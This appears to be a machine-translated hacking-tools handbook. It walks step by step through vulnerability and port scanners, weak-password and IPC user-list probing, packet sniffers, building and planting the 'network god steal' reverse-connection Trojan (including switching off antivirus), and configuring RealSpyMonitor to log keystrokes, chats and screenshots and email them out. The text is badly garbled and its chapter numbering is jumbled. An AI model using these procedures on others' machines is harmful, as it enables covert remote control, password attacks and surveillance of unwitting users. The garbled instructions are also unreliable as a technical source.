Steps to download the Simpsons' 01 CGIScanner package to extract and double-click SCS. Exe program icon, to enter the main interface.

Step 02 click **【 MakeDB 】** button on the toolbar, you can open the [MakeDatabase] dialog box, you can add no CGI vulnerability information in the original database. In the "Name" text box input the Name of the CGI; In the text box input "URL" CGI information; In the "Description" in the text box input the CGI hole descriptive information; In the text box input "DatabaseFile" database file name.

Step 3 click the "Add" button to Add the CGI vulnerability information. Click **【 LoadDB 】** button on the toolbar, on the "open" dialog, select the database file to load.

Step 4 click “Start” button on the toolbar, you can open the “Start” dialog box, in the “Victim” text box input need to scan the website. If you need to use a proxy server, can select “UseProxy” checkbox, and set up the proxy server address and port. Specify scan target, don’t enter the Http or FTP sites such as head, otherwise not connected properly.

Step 5 click “Start” button, you can Start scanning the target site CGI hole, under the window side scan results given in the list. Click the “Stop” button on the toolbar, you can Stop scanning.

The fifth chapter example 5: group of ping scanning tools

Group of Ping scanning tools is a good assistant of the network administrator, the tool can a Ping multiple IP address or network segment. Use this tool to quickly check the IP address of the segment enough, so this tool in widespread application in the local area network (LAN).

Here are using group of ping scanning tools scanning operation method.

Step 01 will download a group of ping scanning tools package to unzip and double click the program icon, then start the program and enter the main interface.

Step 02 in the text box input “IP address” to scan the IP address of the first three paragraphs, leave the default Settings here, and in the “time delay is less than 50 ms is shown as”, “delay between 50 ~ 100 ms ms is shown as”, “delay is larger than 100 ms is shown as” drop-down list, select the corresponding color. Upon the completion of the Settings, click the “start” button, can begin to scan, set the IP address of the segment to be scanning is completed, will be to set the color of the display online hosts.

Step switch 03 to form display 】 【 TAB, in which you can view to form in the form of scan results, at the same time can view the scanning to the hostname and the state.

Step 4, click the “save” button to open the “save as” dialog box, in which the setting location and file name to save scan results. Click the “save” button to save the scan results.

Chapter 6 example 6: using software to detect the target host

Time the software is a integrated network scanning, NT/HS tools, MSSQL tools and dictionaries, and other functions of scanning software, it can detect the POP3, FTP, HTTP, etc all kinds of security vulnerabilities in the host, and test set can be used as a project. The software also can at the same time in the detection of holes are proposed solutions. This section will in detail using the time of software to detect the target host open port, the specified address within the period of host and the target host IPC user list.

3.6.1 track with time open ports of software to detect the target host

Use time software can be used to detect the various types of the target host open port, here to detect POP3 host open port as an example, introduces its usage in detail.

Step 01 time 5.0 after installation, start time software, into the main interface.

Step 02 before using the software to detect, to scan option Settings. Select “options” - > “system setup” menu item, you can open the “system Settings” dialog box, in which can be priority, the number of threads and the number of words/thread and port Settings.

Step 3 click [sure] button, back to the main interface. Select “options” - > “dictionary Settings” menu item, you can open the “dictionary options” dialog box, in which the tick “capitalize the first letter” check box.

Step 4 click [sure] button, back to the main interface. Select “options” - > “detection options” menu item, you can open the [detection options] dialog box, in which you can set various detection options, such as check “automatically record the log file” checkbox, the details of the probe is automatically stored in the specified log file.

Step 5 click [sure] button, back to the main interface. Selected in the list on the left side of the “host POP3” checkbox before and right-click on it, and on the shortcut menu, select “edit” - > “add” menu items.

Step 6 open dialog box, add the host (POP3) 【 in its text box input to detect the IP address of the host, such as 192.168.0.7. Click [sure] button to return to the main interface, you can see on the left side of the list shows add POP3 host.

Step 7 selected add POP3 host and right-click on it, and on the shortcut menu, select probe to scan the host port 【 】 a menu item. Open the dialog box, port detection

set ☐ in check “custom port detection range” check box, in the “scope” column set port detection range.

Step 08 click [sure] button, can begin to detect set the port range of the target host, in the main interface is detected on the right of each port.

Step 09, after the completion of the target host port detection can pop-up dialog box detection results ☐ . In which will show the detected target host open ports.

3.6.2 with advanced scan wizard scans the specified address within the period of the host

Advanced scan wizard function, using time software can scan hosts in the specified address details. Here are the specific method of use:

Step 01 in time in the main interface of software choice [file] - > [advanced scan wizard] menu item, open the “Settings” dialog box. End in “starting address” and “address” in the text box input respectively to scan the end of the beginning of the host IP address, and IP address, and then select “host name” and “PING check” check box.

Step 02 click “next” button to open the “PORTS” dialog box. Check in the “standard port scan” check box. Set port scan can also according to need to check the “scope” checkbox, and set the scanning range.

Step 3, click “next” button in the open dialog box set according to need. Continue to click the “next” button, only to the pop-up dialog box, the IPC ☐ in uncheck “to guess the solution on only the Administrators group” check box.

Step 4, click “next” button on the “options” dialog to the user name, password dictionary dictionary and location of the scan report. Click “finish” button, in the pop-up dialog box select time host ☐ click “start” button.

Step 5 at this point, the program can start scanning designated IP address within the period of the host. Set the IP address of the segment, the scanning time will be longer. In the process of scanning will pop-up dialog box, detection results ☐ prompt the user to scan the status of the port.

Step 6 scan is complete, prompt the user whether to view the scan report.

Click **【 is 】** button, can open a HTML report to scan and display scan for detailed information on each host.

free ebooks ==> www.ebook777.com

3.6.3 with time software to detect the target host IPC user list

IPC (InternetProcessConnection) is a computer on the remote management of Shared resources and view the computer, it is for interprocess communication and open a named pipe, can be authenticated user name and password to get the corresponding permissions. The IPC can be used to establish an empty with the target host connection (without user name and password), and the use of the empty connection, also can get a list of users on the target host. However, hackers often use of IPC computer user list, and use some dictionary tools, attacks on the user's host.

To introduce the following software to detect the target host of time of use IPC user list method, the specific steps are as follows:

Steps in time software 01 check the list of the main interface of the left “IPC” checkbox and right-click on it, and on the shortcut menu, select “edit” - > “add” menu items.

Open the dialog box, add the host **【 step 02** in the text box input to scan the IP address of the target host.

Step 3 click [sure] button to return to the main interface, can be seen on the left side of the list shows that adding the IPC. Selected the IPC in the right-click pop-up menu select probe to detect the IPC a menu item. At this point, then the pop-up dialog box, the IPC automatic detection click the “options” button in it.

Step 4 to open the “user list option” dialog box, the user can be set according to the need of each option. Set up is completed, click on the [sure] button, the program can begin to detect the target host IPC.

Step 5 when detection after the completion of the program will pop up a dialog box, list the detected the target host information such as the user name and password. If the target host password more complex, the time will no longer detect software user's password.

3.5 expert class (common problems and solutions)

It seems 1: when using scan host vulnerability scanning tools, should pay attention to what issues?

Answer: scanning tools run, take up a lot of network bandwidth, therefore, the scanning process should be completed as soon as possible. Of course, the more the number of holes in a vulnerability database, choose the more complex the scanning mode, the longer the scanning time consuming and, therefore, it is just a relative value. When using scanning loopholes scanning tools, also can cause the network failure. This is because in the process of scanning, overload of packet traffic cause denial of service (DOS, DenialOfService). In order to prevent this, need to select the best scan Settings. Related Settings are: number of concurrent threads, packet interval time, number of scanning the object, etc., these options should be able to adjust, so that the influence of the network to a minimum. Some scanning tools also provides a “security scan” template, in order to prevent the loss of the target system.

Inspiration. 2: in the use of scanning tools to search weak passwords in the IP address, can only about a third of the address, what reason is this?

Answer: the cause of this kind of situation has the potential of several aspects: one is the part of the computer is a personal computer, the host when using the scanning tools to search weak password online, but when the connection when it shut down; The second is the Internet connection problem, if your computer speed slower, will come out on the connection is not problem; 3 it is the other server Settings, may scan to user permissions is very low. In short, if the scanning to the weak passwords cannot connect or upload files, then try to replace one IP address.

The first chapter scanning tools

Hackers when determining target, often use some special scanning tools to target computers or computer scanning, within the scope of an IP from the analysis of these computer vulnerability scan results, to identify target and means of attack. This is the most basic method for computer hacking, to grasp the method of the use of these scanning tools, also is each computer user must have the skills.

4.4.1 NetBrute scanning and defense

NetBrute software is also a important scan tool, it not only can scan the Shared resources, also can scan port. And do not need to install the software, can be run directly into the main interface of NetBrute software.

Here is how to use the software to Shared resources and port scan.

free ebooks ==> www.ebook777.com

1. The Shared resource scan

Into the main interface of NetBrute software, the default display is [NetBrute] TAB, Shared resource scan is set in this TAB.

In the text box “TimeOut” can set the scan TimeOut waiting time, defaults to 300 seconds. When scanning the target host far from their current host is used, in the “TimeOut” text box input time value is big, otherwise it will be interrupted by the network reason TimeOut scan.

“IPRange” in the “Range” column in the text box can set scan host IP address Range, the system default to scan a network segment; If you need to scan the continuous several segments, can choose [Option] - > [ClassC] menu items, deselect ClassC 【 menu items. In which input to successive a few segment. But if in the multi segment detection, in the “IPRange” text box input the entire network segment, then scanning time will be very long, so, if we can more accurately know roughly the scope of the target host IP address, can be directly input, it will save a lot of time.

Can be set in the “ResultOption” column scanning content options. If “ANY” option is selected, it can scan share files and printers at the same time; “Disk” option is selected, then the only scanning the Shared file (folder); Select the “PRINT” option, only scans the printer; If selected “NETBIOSName” checkbox, scanning the target host computer name; If selected “ShowsIPCs” checkbox, will be in the scan results show that the target host IPCs Shared pipeline.

In the “Single” column of “Computer/HostName” text box can set the target host IP address or Computer name, so you can set a Single Computer scanning. For example, in the “Computer/HostName” IP address “192.168.0.7” text box input, and then click the “Single” “Scan” button in the toolbar, can be carried out in accordance with the user Settings Scan, Scan the Shared resource will be displayed in the dialog box to the left of the “Results” list box.

To view the Shared resources, can be in the IP address of the corresponding right click computer or to a Shared resource, in the pop-up menu, select a menu item, Explore 】

【 can look at it. For example, to view the IP address for “192.168.0.7” computer Shared resources, can be in the IP address of the “Results” list box, right click on “192.168.0.7”, in the pop-up menu, select a menu item, Explore 】 【 can open the dialog box, in the dialog box shows the computer’s Shared resources.

2. The port scanning

NetBrute software and other scanning tools, can also be of computer port scanning. PortScan 【 TAB is used to scan the target computer TCP listener ports, in general, a server will be at the same time is the WWW, FTP server and mail server, the administrator wants to know what service in the current Internet users use frequency is highest, can see through the software function. Switch to the “PortScan” TAB, can see the TAB under similar in content to the TAB NetBrute 】 【 .

In the field “PortSettings” selected by default “UseList” check box, the user can be in “TCPPort” drop-down list, select to scan ports. If choose “0 [all]” option, is to all ports in the drop-down list (drop-down list only lists some typical port) scan; If you click the button on the right, can in the pop-up dialog box to open the user custom list of ports, and the documents contained in the port scanning.

If you uncheck “UseList” check box, the program will automatically scan all ports, but the scanning process will take a long time, especially for long network segment scanning. For an IP address within the period of computer port scanning, can be in the “Range” bar “IPRange” in the text box enter an IP address Range. Can cancel “Options” menu under the menu item, ClassC 【 enabled network segment scanning.

Click on the “Range” “Scan” button in the toolbar, you can to set the IP address of the computer port scanning. As you can see, in the “Results” list box shows a lot of scan Results, in order to fully display all scans, can select the “ResultOption” column of “ScrollBars” check box, “Results” list box will appear at this time the horizontal and vertical scroll bar, drag the scroll bar of the corresponding, can view does not show the Results.

Scan results listed in the port is currently on the target host open port, the user can see which IP address of the computer more open port, the computer security risk is higher accordingly.

At this point, some hackers can use this opportunity, to invasion risk of computer, damage to the user’s computer. To reduce the risk of computer security, users can according to the results of the scan for port closed with safe hidden trouble, play defense purposes.

The above is for multiple IP addresses within the period of the target Computer’s ports Scan, if you want to a Single IP address Computer port scanned, in the “Single” column of “Computer/HostName” text box directly enter the Computer’s IP address, click on the area

of “Scan” button to start scanning.

free ebooks ==> www.ebook777.com

4.1.2 Windows security detectors

Windows system security detector namely MBSA (MicrosoftBaselineSecurityAnalyzer), it is Microsoft for ordinary users safe launch the safety inspection program, is a commonly used scanning tools. The software contains most of the Microsoft software tester, besides can detect loopholes, also provides a detailed solution and patch download address. When using the software scan, it allows the user to scan one or more computer based on Windows operating system, in order to find the safety aspects of the common configuration errors, and check the operating system and other components installed (InternetInformationServices (IIS) and essentially), to detect security configuration errors, timely repair by the recommended security updates.

Using Windows system security detectors scanning introduces below the specific operation method of the computer.

Step 01 MBSA install download program on your computer, then double-click the installation of the program icon, running software, into the main interface. The default selection on the left side of the “Welcome” (popular) in the list of links, can be specified in the interface on the right side of the scanning computer and scanning options, including “Scanacomputer” said scanning a computer, “Scanmorethanonecomputer” said scanning a few computers, “Viewexistingsecurityreports said” see security report, but “Viewexistingsecurityreports” option in the running for the first time, because there is no detection and gray is not available. Click here “Scanacomputer” (scanning computer) links.

Step 02 at this point, the display content on the right side of the interface, can set the scan option in the interface.

By default, the “ComputerName” (machine name) is selected in the drop-down list the local computer, to scan the machine; If the IPaddress (IP address) drop-down list, enter the IP address of the other computers can scan for the IP address of the computer; In “Securityreportname” (safety report name) name text box can enter safety test report, keep the default name here; In the “Options” (option) option area user can choose according to need to test for Options.

“Tip”

In the “Options” option area, can check Windows vulnerabilities “CheckforWindowsvulnerabilities” box is checked; You can check “Checkforweakpasswords” box is checked weak passwords; You can check “CheckforIISvulnerabilities” box is checked IIS vulnerability; Can check the SQL loopholes “CheckforSQLvulnerabilities” box is checked; Can check security updates “Checkforsecurityupdates” box is checked.

After the completion of the step 03 Settings, click the “StartScan” link, you can start scanning computer.

Step 4 after the scan is complete, will be in the right of the screen displays the scan results. Which is shown as “, “said loophole or update the patch is not installed, you can click” Howto correct this “link, download the latest patches; Is shown as ”” said there was no any security problems.

Step 05 to scan the multiple computers at the same time, can be on the left side of the list click “Pickmultiplecomputerstoscan” (select multiple computers scan) link, in the right side of the interface “IPaddressrange” (IP address range), the drop-down list, enter the IP address in other options and Settings.

Step 6 click StartScan links, can begin to scan all the computers in the IP address.

Step 7 in the left side of the list box click on the “Pickasecurityreporttoview” (see security report) link, you can open the scan report interface. Click on the “Sortorder” (sort of) the drop-down button, can choose the order in the below list, ordered by the content of safety report.

The second chapter data interception tools

Hackers in the invasion of computer, data interception tool is used to collect data in a computer, to steal the user’s information, so as to harm the security of the computer. This section will introduce a few kinds of sniffer function and use them to intercept method of data.

2 IRIS sniffer

Introduced the IRIS sniffer function and method of use, should be first to get to know what is a network sniffer and its principle and function.

1. What is a network sniffer

Network sniffer, simply is to enable us to “sniffing” to the local network data, and check the packet into the computer, to quickly find the need of network information (such as music, video, images and other documents). It can be used for legal network management, can also be used to steal network information.

2. The working principle of network sniffer

Network sniffer is a Shared network transmission medium. Shared means can a computer in the network sniffer to pass to all the computer information in this section. When users send information to the computers on the network (this information is controlled via the network adapter), the network adapter through the inspection on the destination address, to judge whether to own. If so, then the information is passed to the operating system; Otherwise, will send information to discard, not for processing. To steal data directory, therefore, only need the network adapter installed on a testing software frame, can transmit data interception, and recorded.

3. The function of the network sniffer

Through the above content can probably understand the main functions of the network sniffer is steal data in the network, as long as is general of data through a network adapter can be stopped. A network sniffer in addition to the function, also can be used as a network administrator tools to eliminate network fault, compared with baseline data to find the source of the fault.

4. The application of IRIS sniffer

IRIS is a sniffer performance is good, it can be used to monitor and collect various data information within the network, capture and view the target machine using the network, can be from entering and viewing and statistical data. It is actually a loaded on the computer bug, monitoring data through the computer.

Here is IRIS sniffer using method.

Steps to install download IRIS 01 sniffer software, and run the program. In the first run, the software will pop up “Settings” dialog box, requires the user to manually specify on

the interfaces. Selected in the “Adapters” list box on the right side of the display card, and click on the [sure] button.

Start step 02 at this point, the IRIS program, enter the main interface.

Step 3 select “Tools” - > “Settings” menu item, you can open the “Settings” dialog box. The default selection on the left side of the “Capture” (catch) in the list of options, in the right side of the interface can be set about capturing packet options. Among them “Runcontinuously” option when insufficient data buffer storage, Iris will cover the original packets; “Stopcaptureafterfillingbuffer” said when stored data buffer is full, Iris will cease to packets intercepted, and stop the records; “Scrollpacketslisttoensurelastpacketvisible” option is selected, the new capture the packets can be attached to the former results of the capture in the back and rolling forward; “UseAddressBook” option is selected, the AddressBook can be used to store the MAC address, and remember the MAC address and the network host name.

Step 4 in the left list, select “Decode” (decoding) option, set in the on the right side of the screen data decoding options. “UseDNS” option is selected, use the domain name resolution; Click 【 EditDNSfile 】 button, can in the pop-up dialog box to edit local resolution files; “HTTPproxy” said using HTTP proxy server, can enter the port number in the text box, the default port 80; Select “DecodeUDPDatagrams” checkbox, decoding the UDP protocol; Said, “Scrollsessionslisttoensurelastsessionvisible” box is checked according to make new intercepted packets in capture most of the window.

Step 5 in the left list, select “Guard” (protection) option, in the right of the screen can be set in the “Enablealarmsour” (alarm) and “Logtofi” (log), and other options. Said, “Enablealarmsound” box is checked when found that accord with the rules of packet hint sound; In the text box “Playthiswavefile” can set the alarm sound path, the sound format is. Wav; Select “Logtofile” checkbox, said startup log file, so that when conform to the rules of packets intercepted after will be recorded in the log files; Select “IgnoreallLANconnections” check box, then the IRIS local network packets will not be accepted. If did not select the check box, the IRIS will accept all the packets (including the receive). “Ignoreconnections on these > >” said filtering specified port (port), in the list to choose from.

Step 6 list on the left side of “Miscellaneous choice” (miscellaneous) option, in the on the right side of the screen displays the contents of this option. Among them, can be set up in the “Packetbuffer” text box used to store the captured packets most number (default is 2000); In the text box “Stopwhenfreediskspacedrops” below this value can be set up when the disk space, Iris will cease to capture and record the data; , “EnableCPUoverloadprotection” box is checked when the CPU occupancy rate of 100% for four seconds, IRIS will stop running, wait to return to normal after records; Select

“Start automatically with Windows” check box, can add IRIS to start in the group; ,
“Check update when program start” box is checked, at startup check this software updates.

Step 7 after completion of the Settings click [sure] button, return to IRIS in the main interface of software. Select “Tools” - > “Schedules” menu item, you can open the “Schedules” dialog. In one click on the [New] button, create a New task.

Steps 08 in the right side of the interface can be turned into white, click on the corresponding square said don't need to capture time card.

Step 09 click “OK” button to return to start scanning in the main interface, IRIS software to scan the results show that the target computer use of the network.

2 SmartSniff sniffer

SmartSniff sniffer to TCP/IP packets through a user network adapter to detect capture, with Ascii or Hex code display card data information, such as HTTP, SMTP, POP3, FTP, DNS, etc. Although the software is a very small packet capture tool, but it is a threatening great attack tools.

The use of the below about SmartSniff sniffer.

Step 01 SmartSniff programs installed on the computer and start the software, enter the main interface. Select “options” - > “capture options” menu item, you can open the “capture options” dialog box. The default option in areas where the “capture method” option “original port (Windows/XP)” option, in the “select the network adapter” list box, select the display adapter.

Step 02 click [sure] button, return SmartSniff software in the main interface. Select “options” - > “advanced options” menu item, you can open the “advanced options” dialog box, in which the content and capture the contents can be set up to capture the text color (color code).

Step 3 click [sure] button, return SmartSniff software in the main interface. Select [to see] - > menu item, select the toolbar **【** **】** can open the dialog box column column set **【** **】** . In the list box can be set to display content, and can use [up] and [down] button to adjust the column column.

Step 4 click [sure] button in the main interface to select [file] - > [to] menu items, can begin to capture the data through the network adapter. Capture the results will be displayed in the interface at the top of the list box.

Step 5 to see capture the details of the data, can be in the top of the list box to select a result, in the interface can be displayed in the list box below. Double click on the above list box of a result, can open [properties] window, view its capture information.

Holdings in SpyNetSniffer sniffer download address

SpyNetSniffer is also a practical sniffer software, it can be used to capture IP packets, such as ARP packet network data. It not only can tell the user which computer connected to your system, and can also tell users what they made. Once the user attack your computer, the software also can obtain evidence of the attack.

To introduce the following SpyNetSniffer software method of specific use.

1. After installing SpyNetSniffer software preparation

Will download SpyNetSniffer compressed package after decompression, installed in the computer. After the installation is complete, to use the software, need to carry on the corresponding configuration. The specific steps are as follows:

Step 01 SpyNetSniffer installation for the first time, in the computer after the installation is complete, "Settings" dialog will appear. Need to select in the list box listening to it.

Step 02 in the left list, select "Action" option, in the on the right side of the screen you can choose the measures should be taken when the buffer is full, and records the information such as file path.

Step 3 in the left list, select the "Miscellaneous" option, in the right side of the interface "Packetbuffer numerical box can be set to" save the captured packets number at most. Click [sure] button, can enter the SpyNetSniffer main screen.

2. Use SpyNetSniffer capture page data

Below to open any website as an example, introduces the method of using SpyNetSniffer

capture data in a web page.

free ebooks ==> www.ebook777.com

Step 01 to open a web page, and close the other redundant network connection, because SpyNetSniffer sniffer when they have a lot of data to information, for the convenience of the web search data open only the best. In the main interface of SpyNetSniffer click 【 StartCapture 】 button, can begin to catch to open the web page information.

Step 02 stay after a period of time, you can see in the list box on the right side of the main interface to capture data. Click 【 StopCapture 】 button, can stop the capture.

Step 3 click the “Save” button on the toolbar, on the “Save as” dialog will capture information saved into CAP file. Click [sure] button, tip in the pop-up dialog box to keep the default Settings, and click “Ok” button.

Step 4 click on the toolbar button, can open PeepNet window. Click “Open” button on the toolbar, in “Open” dialog, select save the CAP file just now.

Step 5 click “open” button, can be in PeepNet window on the left side of the list displays the data capture. Click the information bar, need to look at in the right side of the window to see the web content and web information, capture the music web site information, click the page the corresponding connection can play music.

Step 6 in accordance with the above method to capture web information, can use notepad to open the CAP file, save above press [Ctrl + F] key combination, can open [for] dialog box. “Find content” in the text box input to find web site, click the “find next” button, you can find the need to download network address.

4.2.4 sniffer rookie SnifferPro

SnifferPro is a powerful portable network and application analysis software of fault diagnosis, either in the cable network and wireless network, it can give network management in real-time network monitoring, packet capture and analysis ability of fault diagnosis. In addition, SnifferPro software support agreement is very rich, such as support for mainstream protocol 10/100/1000, MobilIP, SMPP, HTTP, POP, FTP, SMTP, TELNET, RTP, SIP, SCCP, and the software can run on all Windows platforms. Specific usage of SnifferPro software is described below.

Step 01 after installing the SnifferPro software in the computer, pop-up dialog box

Settings】 【. In the list box Selectsettingsformonitoring choose to listen to the adapter.

Step 02 click the “New” button to open the dialog NewSettings】 【. In the “Description” in the text box input Description of the new project, the “NetworkAdapter” drop-down list, select an adapter, in “Copysettingsfrom” drop-down list, select to copy.

Step 3 click the “OK” button, return to the “Settings” dialog box. Click [sure] button, again can into the main interface of SnifferPro software.

Step 4 select 【 the Capture (catch)] - > [Start (Start)] menu item, you can open the window, Expert】 【 to Capture, Capture results will appear in the window on the left side of the list box.

Step 5 if you want to capture the number of packets in view in the process of capture and buffer utilization, switch to the “Objects” TAB, click the left any message on the list, can be in the list box on the right side shows its details.

Step 6 double click on the right side of the list of any message, can further check the details of the text information, this is the expert analysis system. Expert analysis system provides a platform, can only analyze some analysis of the traffic on the network. For a statistical analysis of actual orderdate can use mouse click view detailed statistics, at the same time for each item can be understand by looking at the help the cause.

Step 7 choose 【 Monitor (Monitor)] - > [HostTable list (the host)】 a menu item, a moment later, can be shown in the open window to capture detailed information on the host.

Step 08 choose 【 the Capture (captured)] - > [StopandDisplay (stop and display)】 a menu item, choose to “Decode” at the bottom of the open window TAB, can view the captured packets.

Step 09 switch to the “Matrix” TAB, you can see the entire network links. Green line shows the network connection is happening in this picture, and the blue line represents the past.

Step 10 select 【 Monitor (Monitor)] - > [DefineFilter (define filters)】 a menu item, you can open the dialog DefineFilter - Monitor】 【. Select “Address” TAB in the

“Address” drop-down list, select the “HardWare” option, in the “KnownAddress” list box, select the “Any” option, other options to keep the default Settings.

Link layer to capture and IP layer in SnifferPro capture these two basic terms of capture. Link layer capture by the source MAC and the destination MAC address to capture input mode for hexadecimal serial input, such as 001 e8c17b085. And capture the IP layer is captured, according to the source IP and destination IP its input points in every other way, such as 192.168.0.45., if you choose to capture the IP layer conditions, the ARP packet will be filtered out.

Step 11 to select “Advanced” TAB, where you can edit protocol trapping conditions. Such as in the above list box select the “IP” checkbox, at its option selected in “ICMP” check box. Click on the “Profiles” button, open the dialog MonitorProfiles] [, keep the default Settings.

Step 12 click “Done” button, return to [DefineFilter - Monitor] dialog box. Switch to the “DataPattern” TAB, click [AddAND/OR] button, can add relations node; Click [AddPattern] button, can add the template; Click the button, AddNOT] [can add node.

Step 13 click [sure] button, close the dialog. In the main interface to select the Tools (Tools)] [and [PacketGenerator (packet generator)] a menu item, you can open [PacketGenerator] window.

Step 14 click on the window toolbar PacketGenerator] [[send 1 frame] button, can open the dialog Sendnewframe] [. In the “Send” option area set up to Send the number of times in the region of the “SendType” option set in the sending time interval.

Step 15 click [Size] button to open the dialog SetPacketSize] [. In the text box “NewSize” enter the length of the data frame to be sent. Upon the completion of the Settings, click the “OK” button to return to [Sendnewframe] dialog box, in the “Packet” list box can use the direction key to edit the content of the message.

Step 16 click [sure] button, you can see in window PacketGenerator] [the newspaper article in the sending state. Use the advantage of this way to send a message is: when the network problem, network traffic anomaly occurs, can through the network flow analysis, can help users find out the cause abnormal traffic problem.

Step 17 choose 【 Tools (Tools)] - > [Options (option) 】 a menu item, you can open the “Options” dialog box, in which can be set for each TAB.

Step 18 choose 【 Tools (Tools)] - > [CustomizeUserTools (custom user Tools) 】 a menu item, you can open the Customize dialog box 】 , the user can define your own Tools in the dialog box. Click the “Add” button to Add the tools you need.

SnifferPro can not only ensure the optimization of network performance, can also through the analysis of network connection situation, to find and remove viruses, this function in the network management is very important. Along with the network increasingly complex, the enterprise to the performance requirements of the network increases. In these cases, the use of SnifferPro became a good choice.

The third chapter rebound Trojan and anti-spyware software

Due to the rebound Trojan can use accused of end socket connection master end, can through the firewall, the hidden is very good; And anti-spyware software can be installed to the computer with the software can be cleared spyware. Therefore, be hacking commonly used tool. This section describes the two software using method in detail.

4.3.1 network god steal rebound Trojan

“God steal network” is a kind of rebound end mouth Trojan. It, in contrast to the general Trojan, rebound end mouth Trojan is accused of end use active port, using passive control end port. Accused of end and control end connection automatically, can avoid the interception of firewall, can even from a local area network (LAN) connection to another local area network (LAN), and can remote control the target host. Because of its strong concealment, therefore, been a favourite of hackers. To introduce the following network god steal rebound Trojan installation and application.

Step 01 start “network thief” application, in the pop-up dialog box to choose a suitable support way, choose the first way here, namely the temporary support means.

Step 02 click “next” button, you can view on the use of temporary support means that content of presentation, prompt the user support in this way will not be able to outside the network to network, network to network.

Step 3, click “next” button in the pop-up dialog, select the master end port, select “use the

default port 2018” option here.

free ebooks ==> www.ebook777.com

Step 4 click “finish” button, enter the “network god steal” operating interface, can pop-up dialog box, network thief 】 【 prompt the user to access other computer, need to be installed on other computers “charged with software.

Step 5 click [sure] button, to start generating was accused of software. In the pop-up dialog generated charged software 】 【 the “please select accused of software version” drop-down list, select to generate a charged with software version, select the “normal” option.

Step 6 click the button to start generating 】 【 , can pop-up dialog box, network thief 】 【 in which prompt the user to close the anti-virus software. Click [sure] button, the accused of the program and can generate the pop-up dialog, suggest the user in the first test the installed on your computer.

Step 7 click [sure] button, return to “steal” network god operation interface. Click on the toolbar button, display online remote computer 】 【 in the list box below shows two online computer.

Step 8 selected in the list box own computer (here is called “microsof - fafe7c” host computer), and double-click, connected to the remote computer. After the connection is successful, can enter the interface, and the interface displayed in the status bar is connected with the remote computer.

Step 09 click on the toolbar button, remote process management 】 【 can open “remote process management” window. In the choice to the end of the process, click the “end process” button, can will end the process.

In their own test was accused of software installed on the computer, if you want to manage other process on the remote computer, can be installed on other computers first accused of software, then according to the above method run was charged with the application in the remote computer, you can see on the master end was charged with the relevant information and to control the operation of computer.

4.3.2 “spy destroy” anti-spyware software

Software as a “spy destroy” scans - Search&Destroy, Spyware is a specially designed to

clean up system of spy software and advertising program. Some spyware as Shared software installed on the user's computer, monitor computer run. At present, the software can detect more than ten thousand kinds of spyware, and can be used on the Server level of the operating system.

Here is the use of the "spy" Nemesis anti-spyware.

Steps 01 installation scans - Search&Destroy program on your computer and start the software, to enter the main interface.

Step 02 in the left list, select "detection and repair" option, click "test" button in the right side of the interface, you can start checking system.

Step 3 check has been completed, can be detected in the window below the suspicious items. Selected a suspicious project, in which you can view the project information, such as the type of threat, description, etc.

Step 4 in the choice to repair project and click the "repair" button, you can repair the selected project. At this point, the pop-up 【confirm】 dialog box, in which prompt the user to delete the selected item.

Step 5 click 【is】 button, can the pop-up dialog box, in which an important project of prompting the user registry (the selected project) has been modified.

Step 6 click the button, allowed to change 【confirm repair operation of the software. In the pop-up dialog box click [allowed to change] button, can repair the selected project. Elected in the content, after the completion of all repair project contains can pop up 【confirm】 dialog box. See the three problems in the selected project has been repaired, and two problems have not yet been repaired.

Step 7 click [sure] button, can close the dialog. To repair the rest of the two problems, can restart the computer, the program will automatically restored.

Steps 08 after repair the selected project, if the user wants to restore the repair project, can choose the "reduction" option list on the left side, list box in the right side of the interface chosen to restore project, click the "restore" button, can repair project.

Step 09 “immune” option is included in the list on the left side of the choice, can automatically scan system in which check the immune condition of the current system. Click the button to Immunize】 【in the right side of the interface, can obtain permanent immune function, so as to effectively prevent the invasion of spyware and advertising programs.

The fourth chapter system monitoring and website loophole attack and defense

In order to be successful invasion of the user’s computer hackers often use some of the monitoring software on the user’s computer monitors, including access to the web, send and receive mail, installation to execute programs and other activities, so as to steal important information. In addition, the hacker also often have struggled to find loopholes that exist in the website, and then reuse these vulnerabilities. This section will explain the use of the RealSpyMonitor monitor, FTP loopholes and web database vulnerability details of offence and defense.

4.4.1 RealSpyMonitor monitor

RealSpyMonitor is a powerful Internet and PC monitoring security software, it can monitor include keystrokes, web site access, window switches, program execution, screen scanning and all activities, such as file access. Network monitor can also record chat conversation information (include AOL, ICQ, MSN, AIMMessenger, etc.), and monitor the user’s web mail content (including MSN, Hotmail, etc. Other information). The specific method of use RealSpyMonitor monitor.

Step 01 after installing RealSpyMonitor software in the computer, start the program, enter the main interface. RealSpyMonitor the main interface is divided into four columns, respectively is the “Option”, “PCActivity”, “Internet” and “Buttons”.

Step 02 click “Option” in the column “HotkeyChoice” Option, you can open the Configuration dialog】 . The dialog box on the left side of the list of the communist party of China has seven options, first select “GeneralSetting” option. Selected in the on the right side of the screen “LoadmeonWindowsStartupforallUsers” check box, can more effectively play RealSpyMonitor monitoring function, while other options to keep the default Settings. Click the button, ResetAccessPassword】 【can reset RealSpyMonitor password; Click 【UninstallMe】 button, can quickly remove RealSpyMonitor program.

Step 3 in the left list, select “LoggingRecord” option, you can enter the interface. In this interface, can be set to start in RealSpyMonitor after the need to record events, including

keyboard percussion, the title of the window, browsing Web pages, the execution of programs, access files; And chat tools such as MSN, ICQ, AIM, YahooMessenger chats; MSN/Hotmail and Yahoo email letter. In addition, can also set in the “LogFilePath” text box RealSpyMonitor record file path.

Step 4 in the left list, select “EmailDelivery” option, in the right side of the interface displays its contents. , “SendlogsviaEmail” box is checked in “SendMailto”, “SendMailfrom” and “MailSubject” text box input respectively the receiver, the sender’s address and email subject; Uncheck the “UsedefaultSMTPMailHost” checkbox, in “SMTPMailHost”, “Username” and “Password” in the text box, enter the SMTP server address of the sender, the sender’s user name and Password; In the text box input Sendevery transmitting time interval, other options can be set according to the needs of the users.

05 steps on the left side of the list, select “SnapshotsSpy” option, in on the right side of the interface can be set at the generated JPG format images captured picture quality, the time interval, the largest number of pictures, images, takes the largest space and screenshots of the object. Open RealSpyMonitor record folder (path) in “LogFilePath” text box and recorded in the folder of the user to use a computer in the past few minutes all the details of the operation.

Step 6 in the left list, select “HotkeyChoice” option, in the interface can be set on the right start RealSpyMonitor hotkey. In “Selectyourhotkeypatten” drop-down list, select a shortcut keys, such as “Ctrl + Alt + V”.

Step 7 in the left list, select “ContentFiltering” option, the user can according to need to set up in the on the right side of the screen in what circumstances do not record, which is not the content of the document can be trusted Web page or some applications.

